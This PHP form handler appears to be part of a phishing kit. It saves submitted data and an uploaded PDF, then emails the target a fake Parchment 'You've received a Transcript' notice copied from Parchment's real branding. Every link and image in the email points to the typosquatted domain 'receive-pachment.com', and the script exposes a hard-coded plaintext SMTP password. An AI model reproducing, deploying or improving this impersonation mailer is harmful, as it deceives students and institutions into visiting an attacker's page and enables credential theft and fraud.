<?php
include '../drawers/php/config.php';
session_start();
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require_once '../PHPMailer/src/PHPMailer.php';
require_once '../PHPMailer/src/SMTP.php';
require_once '../PHPMailer/src/Exception.php';

// Initialize response array
$response = ['success' => false, 'errors' => []];

// Validate required fields
$requiredFields = [
    'time_remaining',
    'delivery_id',
    'ordered_by',
    'delivery_date',
    'school_from',
    'school_to',
    'school_to_email',
    'delivery_id_repeat'
];

foreach ($requiredFields as $field) {
    if (empty($_POST[$field])) {
        $response['errors'][$field] = ['This field is required'];
    }
}

// Validate email format
if (!filter_var($_POST['school_to_email'] ?? '', FILTER_VALIDATE_EMAIL)) {
    $response['errors']['school_to_email'] = ['Please enter a valid email address'];
}

// Validate PDF file
if (empty($_FILES['pdf_upload']['name'])) {
    $response['errors']['pdf_upload'] = ['PDF file is required'];
} elseif ($_FILES['pdf_upload']['error'] !== UPLOAD_ERR_OK) {
    $response['errors']['pdf_upload'] = ['Error uploading PDF file'];
} elseif (pathinfo($_FILES['pdf_upload']['name'], PATHINFO_EXTENSION) !== 'pdf') {
    $response['errors']['pdf_upload'] = ['Only PDF files are allowed'];
}

// If there are errors, return them
if (!empty($response['errors'])) {
    header('Content-Type: application/json');
    echo json_encode($response);
    exit;
}

// Generate token
function generateUUIDv4()
{
    return sprintf(
        '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0x4000, 0x4fff),
        mt_rand(0x8000, 0xbfff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0xffff)
    );
}

$_SESSION['token'] = generateUUIDv4();
$token = $_SESSION['token'];

// Create folders if they don't exist
$uploadDirs = [
    'pdf' => './pdf/',
    'backgrounds' => './attachment/'
];

foreach ($uploadDirs as $dir) {
    if (!file_exists($dir)) {
        mkdir($dir, 0777, true);
    }
}

// Handle file uploads
$filePaths = [
    'pdf_upload_path' => '',
    'background_image_path_one' => '',
    'background_image_path_two' => '',
    'background_image_path_three' => '',
    'background_image_path_four' => '',
    'background_image_path_five' => ''
];

// Process PDF upload
if ($_FILES['pdf_upload']['error'] === UPLOAD_ERR_OK) {
    $pdfName = uniqid() . '_' . basename($_FILES['pdf_upload']['name']);
    $pdfTarget = $uploadDirs['pdf'] . $pdfName;
    if (move_uploaded_file($_FILES['pdf_upload']['tmp_name'], $pdfTarget)) {
        $filePaths['pdf_upload_path'] = $pdfName; // Only filename
    }
}

// Process background images
for ($i = 1; $i <= 5; $i++) {
    $fieldName = 'background_image_' . $i;
    if (!empty($_FILES[$fieldName]['name']) && $_FILES[$fieldName]['error'] === UPLOAD_ERR_OK) {
        $imageName = uniqid() . '_' . basename($_FILES[$fieldName]['name']);
        $imageTarget = $uploadDirs['backgrounds'] . $imageName;
        if (move_uploaded_file($_FILES[$fieldName]['tmp_name'], $imageTarget)) {
            $filePaths['background_image_path_' . ($i === 1 ? 'one' :
                ($i === 2 ? 'two' :
                    ($i === 3 ? 'three' :
                        ($i === 4 ? 'four' : 'five'))))] = $imageName; // Only filename
        }
    }
}

// Prepare data for database
$data = [
    'token' => $token,
    'time_remaining' => $_POST['time_remaining'],
    'delivery_id' => $_POST['delivery_id'],
    'ordered_by' => $_POST['ordered_by'],
    'delivery_date' => $_POST['delivery_date'],
    'school_from' => $_POST['school_from'],
    'school_from_post_office' => $_POST['school_from_post_office'],
    'school_from_street' => $_POST['school_from_street'],
    'school_to' => $_POST['school_to'],
    'school_to_email' => $_POST['school_to_email'],
    'delivery_id_repeat' => $_POST['delivery_id_repeat'],
    'submitted_at' => date('Y-m-d H:i:s'),
    'expiry_date' => date('Y-m-d H:i:s', strtotime('+30 days'))
] + $filePaths;

// Insert into database
try {
    $columns = implode(', ', array_keys($data));
    $placeholders = implode(', ', array_fill(0, count($data), '?'));
    $types = str_repeat('s', count($data));

    $stmt = $conn->prepare("INSERT INTO submissions ($columns) VALUES ($placeholders)");
    $values = array_values($data);
    $stmt->bind_param($types, ...$values);

    if ($stmt->execute()) {
        // Send email with improved deliverability settings
        $mail = new PHPMailer(true);
        
        try {
            // Server settings
            $mail->isSMTP();
            $mail->Host = 'mail.orbits8.com';
            $mail->SMTPAuth = true;
            $mail->Username = 'tests@orbits8.com';
            $mail->Password = '8ClvZr[$_+Jv1(l}';
            $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
            $mail->Port = 587;
            $mail->SMTPOptions = [
                'ssl' => [
                    'verify_peer' => true,
                    'verify_peer_name' => true,
                    'allow_self_signed' => false
                ]
            ];
            
            // Email headers for better deliverability
            $mail->Priority = 1; // High priority
            $mail->addCustomHeader('X-Priority: 1 (Highest)');
            $mail->addCustomHeader('X-MSMail-Priority: High');
            $mail->addCustomHeader('Importance: High');
            $mail->addCustomHeader('X-Mailer: PHP/' . phpversion());
            
            // From address should match your domain
            $mail->setFrom('tests@orbits8.com', 'record ' . $_POST['delivery_id']);
            $mail->addReplyTo('tests@orbits8.com', 'record ' . $_POST['delivery_id']);
            
            // Recipient
            $mail->addAddress($_POST['school_to_email']);
            
            // Content
            $mail->isHTML(true);
            $mail->Subject = 'received: ' . $_POST['delivery_id'];
            
            // Your existing HTML email template
            $htmlContent = '<!DOCTYPE html>
<html>

<head>
    <title>We&apos;ve record for you</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>

<body style="background: #fff; font-family: Arial, Helvetica, sans-serif; font-size: 12px; color: #333333; line-height: 1.4; margin: 0; padding: 0;">
    <div class="container" style="max-width: 600px; margin: 0 auto; border: 1px solid #e0e0e0; font-size: 17px;">
        <div class="header" style="margin-bottom: 25px;">
            <h1 style="background-color: #00a2e3; color: white; padding: 15px; margin: 0; display: flex; align-items: center; gap: 10px;">
                <img src="receive-pachment.com/record/drawers/images/logo.jpeg" alt="Parchment Logo" style="width: 20px; height: 20px;">
                Parchment
            </h1>
            <p class="log2" style="background-color: #f5f5f5; padding: 12px 15px; margin: 0; display: flex; justify-content: center; align-items: center; gap: 8px; font-size: 14px; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; text-align: center;">
                <img src="receive-pachment.com/record/drawers/images/logoo.jpeg" alt="Transcript Icon" style="width: 20px; height: 20px;">
                You&apos;ve received a Transcript
            </p>
        </div>
        <div class="content" style="padding: 20px; font-size: 14px; color: #666; font-size:14px; font-weight: 400;">
            <p>
                <b style="font-weight: 600;">' . htmlspecialchars($_POST['school_from']) . '</b> has sent you a Transcript with the
                Parchment Delivery ID (DID)
                <b style="font-weight: 600;">' . htmlspecialchars($_POST['delivery_id']) . '</b> on behalf of <b
                    style="font-weight: 600;">' . htmlspecialchars($_POST['ordered_by']) . '</b>.
                This Transcript is available for you to download for 30 days, so your prompt attention is requested.
                The requestor of this document will receive an email notification once you access the Transcript.
            </p>
            <div class="button-container" style="margin: 40px 0; text-align: center;">
                <a href="receive-pachment.com/record/?token=' . $token . '&email=' . urlencode($_POST['school_to_email']) . '"
                    style="display: inline-block; width: 190px; text-align: center; background-color: #4CAF50; color: white; padding: 15px 25px; text-decoration: none; border-radius: 5px; font-family: Arial, sans-serif; font-weight: bold;">
                    Access the Transcript
                </a>
            </div>
            <p>If the button above does not work, copy and paste the following URL in a browser window:</p>
            <p style="margin: 10px 0 20px 0; font-size:13px;">
                <a href="receive-pachment.com/record/?token=' . $token . '&email=' . urlencode($_POST['school_to_email']) . '"
                    style="color: #00a2e3; text-decoration: none;">receive-pachment.com/record/?token=' . $token . '&email=' . urlencode($_POST['school_to_email']) . '</a>
            </p>
        </div>
        <div class="footer" style="padding: 10px; font-size: 14px; font-weight: 350;">
            <p>Thank you for using Parchment!</p>
            <p> About Parchment - The most advanced digital credentials service</p>
            <p>Parchment is the most widely adopted digital credential service, allowing learners, academic
                institutions, and employers to request, verify, and share credentials in simple and secure ways. The
                company has helped millions of people and thousands of schools and universities exchange more than 30
                million transcripts and other credentials globally.</p>
            <p>Please do not respond to this message. This notificaton has been
                sent to you by parchment on behalf of the requestor noted above. Parchment respects
                you privacy. This email and any attachment are confidential and are intended solely for the use of the
                named addresee. If you have received this email in error, please <a href="mailto:support@receive-pachment.com"
                    style="color: #00a2e3; text-decoration: none;">contact
                    parchment.</a> Thank you
            </p>
        </div>

        <table width="100%" bgcolor="#eee" cellpadding="0" cellspacing="0" border="0"
            style="font-family: Arial, Helvetica, sans-serif; text-align: center;">
            <tr>
                <td style="padding: 20px;">
                    <table cellpadding="0" cellspacing="0" border="0" align="center">
                        <tr>
                            <td align="center" style="padding-bottom: 10px;">
                                <img src="receive-pachment.com/record/drawers/images/quiz.jpg" alt="Help Center"
                                    style="display: block;">
                            </td>
                        </tr>
                        <tr>
                            <td align="center"
                                style="font-size: 18px; font-weight: 600; color: #000000; padding-bottom: 5px;">
                                We&apos;re here if you need us
                            </td>
                        </tr>
                        <tr>
                            <td align="center"
                                style="font-size: 14px; color: #333333; line-height: 1.5; padding-bottom: 10px;">
                                The <strong style="font-weight: 600; color: #00a2e3;">Parchment Help Center</strong>
                                knowledgebase is packed<br>
                                with useful help articles, topics, links, FAQs, and support<br>
                                resources. Don&apos;t hesitate to <strong style="font-weight: 600; color: #00a2e3;">check it
                                    out</strong> for anything on<br>
                                your mind.<br><br>
                            </td>
                        </tr>
                        <tr>
                            <td align="center">
                                <a href="#"
                                    style="display: inline-block; background: #00a2e3; color: #ffffff; font-size: 14px; font-weight: 600; text-decoration: none; padding: 10px 20px; border-radius: 4px;">
                                    Help Center
                                </a>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
        </table>

        <table width="100%" bgcolor="#585656" cellpadding="0" cellspacing="0" border="0">
            <tr>
                <td style="padding: 12px 0 7px;">
                    <table width="100%" cellpadding="0" cellspacing="0" border="0">
                        <tr>
                            <td width="140" align="left" style="padding-left: 20px;">
                                <img src="receive-pachment.com/record/drawers/images/pr2.jpg" alt="Parchment Logo"
                                    width="140" style="display: block;">
                            </td>
                            <td align="center" style="color: #fff; font-size: 12px;">
                                www.parchment.com
                            </td>
                            <td width="140" align="right" style="padding-right: 20px;">
                                <img src="receive-pachment.com/record/drawers/images/pr3.jpg" alt="Social Media"
                                    width="140" height="30" style="display: block; object-fit: cover;">
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
        </table>

        <table width="100%" bgcolor="#eee" cellpadding="0" cellspacing="0" border="0"
            style="font-family: Arial, Helvetica, sans-serif; text-align: center;">
            <tr>
                <td style="padding: 20px 0;">
                    <div style="color: #00a2e3; font-size: 13px; font-weight: 550;">
                        <a href="#" style="color: #00a2e3; text-decoration: none;">Privacy Policy</a> 
                        <span style="margin: 0 10px;">|</span> 
                        <a href="#" style="color: #00a2e3; text-decoration: none;">Terms of Use</a>
                    </div>
                </td>
            </tr>
        </table>
    </div>
</body>

</html>';

            $mail->Body = $htmlContent;
            
            // DKIM signing (if configured)
            // $mail->DKIM_domain = 'receive-pachment.com';
            // $mail->DKIM_private = '/path/to/private.key';
            // $mail->DKIM_selector = 'selector1';
            // $mail->DKIM_passphrase = '';
            // $mail->DKIM_identity = $mail->From;

            if ($mail->send()) {
                $response['success'] = true;
                $response['message'] = 'Form submitted and email sent successfully!';
            } else {
                $response['email_error'] = 'Mailer Error: ' . $mail->ErrorInfo;
            }
        } catch (Exception $e) {
            $response['email_error'] = 'Mailer Error: ' . $e->getMessage();
        }
    } else {
        $response['errors']['database'] = ['Failed to save submission'];
    }
} catch (Exception $e) {
    $response['errors']['database'] = ['Database error: ' . $e->getMessage()];
}

header('Content-Type: application/json');
echo json_encode($response);
